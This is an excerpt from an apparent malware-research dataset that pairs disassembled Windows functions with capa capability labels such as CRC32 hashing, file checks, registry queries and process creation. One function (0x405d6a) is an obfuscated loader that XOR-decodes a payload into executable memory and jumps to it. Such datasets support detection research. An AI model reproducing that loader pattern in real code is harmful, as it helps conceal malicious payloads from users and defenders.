joyce8/EMBER2024-capa huggingface dataset:
Function at 0x437eec
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ecx, ecx
mov ebx, 0x704268
mov eax, ecx
xor edx, edx
test al, 1
je 0x437f08
shr eax, 1
xor eax, 0xedb88320
jmp 0x437f0a
shr eax, 1
inc edx
cmp edx, 8
jl 0x437efb
mov dword [ebx], eax
inc ecx
add ebx, 4
cmp ecx, 0x100
jl 0x437ef7
mov byte [0x6403a0], 1
pop ebx
pop ebp
ret

Function at 0x437f28
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x10]
mov ebx, dword [ebp + 8]
mov al, byte [0x6403a0]
test al, al
jne 0x437f41
call fcn.00437eec
xor edx, edx
mov ecx, dword [ebp + 0xc]
mov eax, ecx
cmp esi, edx
jle 0x437f6c
xor ecx, ecx
inc edx
mov cl, byte [eax]
inc eax
xor ecx, ebx
and ecx, 0xff
shr ebx, 8
mov ecx, dword [ecx*4 + 0x704268]
xor ecx, ebx
cmp esi, edx
mov ebx, ecx
jg 0x437f4c
mov eax, ebx
pop esi
pop ebx
pop ebp
ret

Function at 0x4561cc
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
mov dword [esp], 0x20
push esp
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [esp + 0xc]
add esp, 0x20
ret
Function at 0x457e0c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
call fcn.0045931c
test byte [ebp + 0xd], 0xc0
jne 0x457e30
mov eax, dword [0x6905c4]
mov edx, dword [eax]
and edx, 0xc000
or dword [ebp + 0xc], edx
test byte [ebp + 0xd], 0x80
jne 0x457e3d
or dword [ebp + 0xc], 0x4000
mov ecx, dword [ebp + 0xc]
and ecx, 0x700
cmp ecx, 0x500
jg 0x457e6a
je 0x457e7c
sub ecx, 0x100
je 0x457e8a
sub ecx, 0x100
je 0x457e91
sub ecx, 0x100
je 0x457e83
jmp 0x457e98
sub ecx, 0x600
je 0x457e91
sub ecx, 0x100
je 0x457e7c
jmp 0x457e98
mov edi, 1
jmp 0x457e9d
mov edi, 2
jmp 0x457e9d
mov edi, 4
jmp 0x457e9d
mov edi, 5
jmp 0x457e9d
mov edi, 3
test byte [ebp + 0xd], 1
je 0x457ec4
lea eax, [ebp + 0x10]
add eax, 4
mov eax, dword [eax - 4]
and eax, dword [0x690034]
test al, 0x80
je 0x457ebd
mov ebx, 0x80
jmp 0x457ed6
mov ebx, 1
jmp 0x457ed6
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_GetFileAttributesA
mov ebx, eax
cmp eax, 0xffffffff
jne 0x457ed6
xor ebx, ebx
mov eax, dword [ebp + 0xc]
and eax, 3
sub eax, 1
jb 0x457ee8
je 0x457ef1
dec eax
je 0x457efa
jmp 0x457f03
mov dword [ebp - 4], 0x80000000
jmp 0x457f12
mov dword [ebp - 4], 0x40000000
jmp 0x457f12
mov dword [ebp - 4], 0xc0000000
jmp 0x457f12
push 1
call fcn.004596dc
pop ecx
mov ebx, eax
jmp 0x457ffe
mov eax, dword [ebp + 0xc]
and eax, 0x70
sub eax, 0x10
je 0x457f2e
sub eax, 0x10
je 0x457f35
sub eax, 0x10
je 0x457f3e
sub eax, 0x10
je 0x457f47
jmp 0x457f47
xor edx, edx
mov dword [ebp - 8], edx
jmp 0x457f4e
mov dword [ebp - 8], 1
jmp 0x457f4e
mov dword [ebp - 8], 2
jmp 0x457f4e
mov dword [ebp - 8], 3
mov dword [ebp - 0x14], 0xc
xor ecx, ecx
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x14]
mov eax, dword [ebp + 0xc]
and eax, 0x80
cmp eax, 1
sbb edx, edx
neg edx
mov dword [ebp - 0xc], edx
push 0
push ebx
push edi
push ecx
mov eax, dword [ebp - 8]
push eax
mov edx, dword [ebp - 4]
push edx
mov ecx, dword [ebp + 8]
push ecx
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp eax, 0xffffffff
jne 0x457fb7
call sub.kernel32.dll_GetLastError
mov ebx, eax
and ebx, 0xffff
cmp ebx, 0x6e
jne 0x457fac
test byte [ebp + 0xd], 1
mov ebx, 0x50
jne 0x457fac
add ebx, 0xffffffb2
push ebx
call fcn.004596dc
pop ecx
mov ebx, eax
jmp 0x457ffe
mov edi, esi
push edi
call fcn.00457d70
pop ecx
test eax, eax
je 0x457fcb
or dword [ebp + 0xc], 0x2000
test bl, 1
jne 0x457fd7
or dword [ebp + 0xc], 0x100
and dword [ebp + 0xc], 0xfffff8ff
mov eax, dword [ebp + 0xc]
push eax
push edi
call fcn.0045941c
add esp, 8
mov ebx, eax
inc eax
jne 0x457ffe
push 4
call fcn.004596dc
pop ecx
push esi
call sub.kernel32.dll_CloseHandle
call fcn.00459350
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4584dc
Capabilities:
Get common file path
Set current directory
Set environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
dec eax
je 0x4584f8
call fcn.00459748
jmp 0x458567
lea edx, [ebp - 0x108]
push edx
push 0x104
call sub.kernel32.dll_GetCurrentDirectoryA
test eax, eax
jne 0x458514
call fcn.00459748
jmp 0x458567
cmp dword [0x705598], 1
je 0x458565
movsx ecx, byte [ebp - 0x108]
push ecx
call fcn.0046054c
pop ecx
cmp al, 0x41
jl 0x458565
cmp al, 0x5a
jg 0x458565
cmp byte [ebp - 0x107], 0x3a
jne 0x458565
mov byte [ebp - 4], 0x3d
mov byte [ebp - 3], al
lea eax, [ebp - 0x108]
mov byte [ebp - 2], 0x3a
mov byte [ebp - 1], 0
push eax
lea edx, [ebp - 4]
push edx
call sub.kernel32.dll_SetEnvironmentVariableA
dec eax
je 0x458565
call fcn.00459748
jmp 0x458567
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x459068
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x104
call fcn.004555e4
pop ecx
mov ebx, eax
test eax, eax
jne 0x45908c
xor eax, eax
jmp 0x459135
lea edx, [ebp - 4]
push edx
push ebx
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
call sub.kernel32.dll_GetFullPathNameA
mov esi, eax
test esi, esi
je 0x4590ad
cmp esi, 0x104
jb 0x4590b8
push ebx
call fcn.004555f4
pop ecx
xor eax, eax
jmp 0x459135
cmp byte [ebx + 1], 0x3a
jne 0x4590e8
mov dl, byte [ebx]
lea ecx, [ebp - 8]
mov byte [ebp - 8], dl
mov byte [ebp - 7], 0x3a
mov byte [ebp - 6], 0x5c
mov byte [ebp - 5], 0
push ecx
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 2
jae 0x4590e8
push ebx
call fcn.004555f4
pop ecx
xor eax, eax
jmp 0x459135
inc esi
test edi, edi
je 0x45912b
cmp esi, dword [ebp + 0x10]
jbe 0x4590fd
push ebx
call fcn.004555f4
pop ecx
xor eax, eax
jmp 0x459135
push edi
mov esi, edi
xor eax, eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
push ebx
call fcn.004555f4
pop ecx
mov eax, edi
jmp 0x459135
push esi
push ebx
call fcn.00455604
add esp, 8
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x45919c
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x4591e2
lea eax, [ebp - 0x10c]
push eax
push 0x103
call sub.kernel32.dll_GetCurrentDirectoryA
test eax, eax
je 0x4591d0
cmp eax, dword [ebp + 0x10]
jle 0x45926b
call fcn.004608bc
mov dword [eax], 8
xor eax, eax
jmp 0x4592d8
cmp dword [0x705598], 1
jne 0x459227
mov eax, ebx
lea ecx, [ebp - 0x10c]
mov edx, eax
add dl, 0x40
add ecx, 3
mov byte [ebp - 0x10c], dl
mov dl, al
mov byte [ebp - 0x10b], 0x3a
mov byte [ebp - 0x10a], 0x5c
mov byte [ebp - 0x109], 0
mov ah, 0x47
mov esi, ecx
int 0x21
jae 0x45926b
xor eax, eax
jmp 0x4592d8
call sub.kernel32.dll_GetLogicalDrives
lea ecx, [ebx - 1]
mov edx, 1
shl edx, cl
test edx, eax
je 0x459267
add bl, 0x40
lea eax, [ebp - 8]
mov byte [ebp - 4], bl
lea edx, [ebp - 0x10c]
mov byte [ebp - 3], 0x3a
mov byte [ebp - 2], 0x2e
mov byte [ebp - 1], 0
push eax
push edx
lea ecx, [ebp - 4]
push 0x103
push ecx
call sub.kernel32.dll_GetFullPathNameA
jmp 0x45926b
xor eax, eax
jmp 0x4592d8
lea edx, [ebp - 0x10c]
push edx
call fcn.0045698c
pop ecx
cmp eax, dword [ebp + 0x10]
jl 0x45928c
call fcn.004608bc
mov dword [eax], 0x22
xor eax, eax
jmp 0x4592d8
test edi, edi
jne 0x4592af
mov edx, dword [ebp + 0x10]
push edx
call fcn.004555e4
pop ecx
mov edi, eax
test eax, eax
jne 0x4592af
call fcn.004608bc
mov dword [eax], 8
xor eax, eax
jmp 0x4592d8
push edi
mov esi, edi
xor eax, eax
lea edi, [ebp - 0x10c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
xchg edi, esi
shr ecx, 2
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45cb3c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
push edi
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea eax, [ebp - 0x200]
push eax
push 0x1001
mov edx, dword [ebx + 4]
push edx
call sub.kernel32.dll_GetLocaleInfoA
push str._._n
lea ecx, [ebp - 0x200]
push ecx
call fcn.00456880
add esp, 8
lea eax, [ebp - 0x200]
push eax
call fcn.0045698c
pop ecx
mov edx, pe_nt_image_headers32
sub edx, eax
push edx
lea ecx, [ebp - 0x200]
push ecx
call fcn.0045698c
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
push 0x1002
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_GetLocaleInfoA
push 0x6911e1
lea ecx, [ebp - 0x200]
push ecx
call fcn.00456880
add esp, 8
push 0xa
lea eax, [ebp - 0x200]
push eax
call fcn.0045698c
pop ecx
lea edx, [ebp - 0x200]
add eax, edx
push eax
mov ecx, dword [ebx]
push ecx
call fcn.0045dd20
add esp, 0xc
cmp dword [ebx + 0x24], 0
jne 0x45cc4d
push esi
call fcn.0045698c
pop ecx
mov edi, eax
lea eax, [ebp - 0x200]
push eax
call fcn.0045698c
pop ecx
add edi, eax
add edi, 3
push edi
call fcn.004555e4
pop ecx
mov edi, eax
mov dword [ebx + 0x24], edi
test edi, edi
jne 0x45cc24
xor eax, eax
jmp 0x45ccd4
push esi
call fcn.0045698c
pop ecx
push eax
lea edx, [ebp - 0x200]
push edx
call fcn.0045698c
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push 0
push edi
call fcn.004567dc
add esp, 0xc
jmp 0x45cc8d
mov edi, dword [ebx + 0x24]
push edi
call fcn.0045698c
pop ecx
push eax
push esi
call fcn.0045698c
pop ecx
pop edx
add edx, eax
push edx
lea eax, [ebp - 0x200]
push eax
call fcn.0045698c
pop ecx
pop ecx
add ecx, eax
add ecx, 3
push ecx
push edi
call fcn.00455604
add esp, 8
mov dword [ebx + 0x24], eax
cmp dword [ebx + 0x24], 0
jne 0x45cc8d
xor eax, eax
jmp 0x45ccd4
push esi
mov edx, dword [ebx + 0x24]
push edx
call fcn.00456880
add esp, 8
push 0x6911e3
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.00456880
add esp, 8
lea eax, [ebp - 0x200]
push eax
mov edx, dword [ebx + 0x24]
push edx
call fcn.00456880
add esp, 8
push 0x6911e5
mov ecx, dword [ebx + 0x24]
push ecx
call fcn.00456880
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4605c8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
cmp dword [0x691884], 0
push ebx
push esi
mov esi, dword [ebp + 8]
jne 0x460680
cmp byte [0x46d0fb], 0
je 0x46063a
push 0x50
lea eax, [ebp - 0x54]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x5c
lea edx, [ebp - 0x54]
push edx
call fcn.004604f4
add esp, 8
mov ebx, eax
test eax, eax
jne 0x460623
push 0x3a
lea edx, [ebp - 0x54]
push edx
call fcn.004604f4
add esp, 8
mov ebx, eax
test eax, eax
jne 0x460623
lea ebx, [ebp - 0x54]
jmp 0x460624
inc ebx
call fcn.00460580
or eax, 0x10010
push eax
push ebx
push esi
push 0
call sub.user32.dll_MessageBoxA
jmp 0x4606a1
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push 2
push 0x691888
push ebx
call sub.kernel32.dll_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push esi
call fcn.0045698c
pop ecx
push eax
push esi
push ebx
call sub.kernel32.dll_WriteFile
push 0
lea ecx, [ebp - 4]
push ecx
push 2
push 0x69188b
push ebx
call sub.kernel32.dll_WriteFile
jmp 0x4606a1
cmp dword [0x691884], 0xffffffff
je 0x4606a1
mov eax, dword [0x691884]
test eax, eax
je 0x4606a1
cmp byte [eax], 0
je 0x4606a1
push esi
push eax
call fcn.00460720
add esp, 8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x460720
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
test eax, eax
je 0x460782
call fcn.004606d0
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
push esi
call fcn.0045698c
pop ecx
push eax
push esi
push ebx
call sub.kernel32.dll_WriteFile
push 0
lea edx, [ebp - 4]
push edx
push edi
call fcn.0045698c
pop ecx
push eax
push edi
push ebx
call sub.kernel32.dll_WriteFile
push ebx
call sub.kernel32.dll_CloseHandle
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x4045aa
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4068f8
call fcn.0040545b
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x4045c9
mov al, 1
jmp 0x404692
test esi, esi
je 0x404690
xor ebx, ebx
cmp word [esi], bx
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404690
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x404690
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.00405d6a
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x404684
lea eax, [ebp - 0x28]
push eax
call fcn.00405d6a
pop ecx
test al, al
jne 0x404684
cmp dword [ebp - 0x18], esi
jbe 0x404684
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x404684
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x404684
push 0x407628
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401780
mov al, bl
jmp 0x404692
xor al, al
call fcn.00405416
ret
Function at 0x404735
Capabilities:
Accept command line arguments
Check if file exists

Disassembly:
push 0x230
mov eax, 0x406928
call fcn.0040545b
xor eax, eax
mov byte [ebp - 0x231], al
mov dword [ebp - 0x23c], eax
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.kernel32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, eax
test ebx, ebx
je 0x4048ac
push str.__alloweddir
mov byte [ebp - 0x231], 1
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
mov esi, eax
xor eax, eax
mov edi, eax
mov dword [ebp - 0x238], esi
pop ecx
cmp dword [ebp - 0x23c], eax
jle 0x4048a5
cmp dword [ebx + edi*4], 0
je 0x404898
push esi
push str.__alloweddir
push dword [ebx + edi*4]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x404898
mov eax, dword [ebx + edi*4]
xor ecx, ecx
mov byte [ebp - 0x231], cl
lea esi, [eax + esi*2]
cmp word [esi], cx
je 0x404892
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
pop ecx
cmp eax, 0x104
jae 0x404892
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x404892
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
je 0x404892
lea eax, [ebp - 0x230]
push esi
push eax
call fcn.00405d6a
pop ecx
pop ecx
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [ebp - 0x220], eax
je 0x404883
mov ecx, 0x104
cmp dword [ebp - 0x220], ecx
jae 0x404883
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push eax
push ecx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
add esp, 0xc
test eax, eax
jne 0x404883
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
test eax, eax
je 0x404883
lea eax, [ebp - 0x218]
mov ecx, section..data
push eax
call fcn.00404a3b
mov byte [ebp - 0x231], 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x230]
call fcn.00401780
mov esi, dword [ebp - 0x238]
inc edi
cmp edi, dword [ebp - 0x23c]
jl 0x40479b
push ebx
call dword [sym.imp.kernel32.dll_LocalFree]
mov al, byte [ebp - 0x231]
call fcn.00405416
ret

Function at 0x404ace
Capabilities:
Accept command line arguments

Disassembly:
push esi
push 1
call fcn.00405d6a
pop ecx
push 2
call dword [sym.imp.kernel32.dll_SetErrorMode]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov esi, eax
call fcn.00404735
test al, al
jne 0x404afd
xor eax, eax
inc eax
jmp 0x404b0c
push esi
call fcn.00404935
pop ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
pop esi
ret 0x10
Function at 0x405d6a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x405d79
pop dword [ebp - 0x44]
mov eax, 0x405d79
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xe830c926
add dword [ebp - 0x54], 0x66217c25
mov dword [ebp - 0x50], 0x6162e5bd
add dword [ebp - 0x50], 0xd0d06688
mov dword [ebp - 0x4c], 0x843020a0
add dword [ebp - 0x4c], 0xc81c238e
mov dword [ebp - 0x48], 0x2aba2ba9
sub dword [ebp - 0x48], 0x2aba2ba9
lea eax, [ebp - 0x54]
push eax
mov eax, 0x400cceab
sub eax, 0x3fcc5e8f
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xb1c416a8
add dword [ebp - 0x54], 0xc2ae52ae
mov dword [ebp - 0x50], 0x65d5d548
sub dword [ebp - 0x50], 0x246973d3
mov dword [ebp - 0x4c], 0x5eecebca
sub dword [ebp - 0x4c], 0xfb7d7f5e
mov dword [ebp - 0x48], 0x400d4194
add dword [ebp - 0x48], 0xbff2be6c
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x3c38b62d
add eax, 0xc407b9f3
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3983f
push 0
call eax
mov ecx, 0x527368ff
sub ecx, 0x527319cb
mov edx, eax
mov esi, 0x40c800
add esi, dword [ebp - 0x44]
mov ebx, 0x78072c3f
sub ebx, 0x8150d311
xor dword [ebp - 0x1c], edi
mov edi, dword [esi]
sub dword [ebp - 0x3c], 0x5ee34c9a
xor edi, ebx
sub dword [ebp - 0x34], esi
mov dword [edx], edi
sub dword [ebp - 0x24], edx
add edx, 4
add esi, 4
loop 0x405e90
add eax, 0xa3ce92e1
add eax, 0x5c329cc2
xor ebx, ebx
add ebx, eax
add eax, 0x339952b8
sub eax, 0x339952b3
mov ecx, 0x9633846b
add ecx, 0x6a0c7b95
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x40afa0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46952b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0045df4e
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40b022
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045bccd
mov eax, dword [eax]
push 0x4a71c0
push eax
call fcn.0044eb34
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0045e1d9
test bl, bl
je 0x40b022
push 0x4a71c0
lea ecx, [esp + 0xc]
call fcn.0045e569
push 0x4aad34
lea ecx, [esp + 0xc]
call fcn.0045e569
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40b05e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0045e1d9
jmp 0x40b129
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40b0e2
lea edx, [esp + 0x7c]
push 0x4aad30
push edx
call fcn.0044eb34
add esp, 8
test eax, eax
je 0x40b0e2
lea eax, [esp + 0x7c]
push 0x4aad2c
push eax
call fcn.0044eb34
add esp, 8
test eax, eax
je 0x40b0e2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b072
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0045e1d9
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b920
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b982
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b990
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4695ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4b123c]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40bac8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b9f6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e1d9
xor eax, eax
jmp 0x40bb3f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0045e316
push esi
lea ecx, [esp + 0xc]
call fcn.0045e5a5
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40bb1d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0040b920
test eax, eax
jne 0x40bb1d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0040b920
test eax, eax
jne 0x40bb1d
lea eax, [esp + 0x14]
push 0x4aad48
push eax
call fcn.0044fb70
mov esi, eax
add esp, 8
test esi, esi
jne 0x40bafc
lea ecx, [esp + 0x14]
push 0x4aad44
push ecx
call fcn.0044faf0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40bafc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40baff
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0045e2c6
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40ba0e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0045e1d9
xor eax, eax
jmp 0x40bb3f
mov byte [esi], 0
push 0x4aad40
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0045e1d9
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4